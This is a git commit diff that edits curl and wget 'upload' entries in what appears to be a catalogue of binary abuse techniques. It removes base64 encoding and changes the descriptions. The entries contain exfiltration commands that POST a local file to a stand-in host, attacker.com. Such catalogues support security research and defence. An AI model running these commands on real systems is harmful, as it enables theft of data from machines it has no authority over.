Get rid of base64 for curl and wget and make descriptions similar

Close #24.
This commit is contained in:
Andrea Cardaci 2018-09-25 19:51:20 +02:00
parent ad1f052edb
commit 689e00461d
2 changed files with 3 additions and 3 deletions

View File

@ -1,7 +1,7 @@
---
functions:
upload:
- description: Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
- description: Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the `@` to send hard-coded data.
code: |
URL=http://attacker.com/
LFILE=file_to_send

View File

@ -1,11 +1,11 @@
---
functions:
upload:
- description: Send base64-encoded local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
- description: Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Use `--post-data` to send hard-coded data.
code: |
export URL=http://attacker.com/
export LFILE=file_to_send
wget --post-data="d=$(base64 $LFILE | tr -d '\n')" $URL
wget --post-file=$LFILE $URL
download:
- description: Fetch a remote file via HTTP GET request.
code: |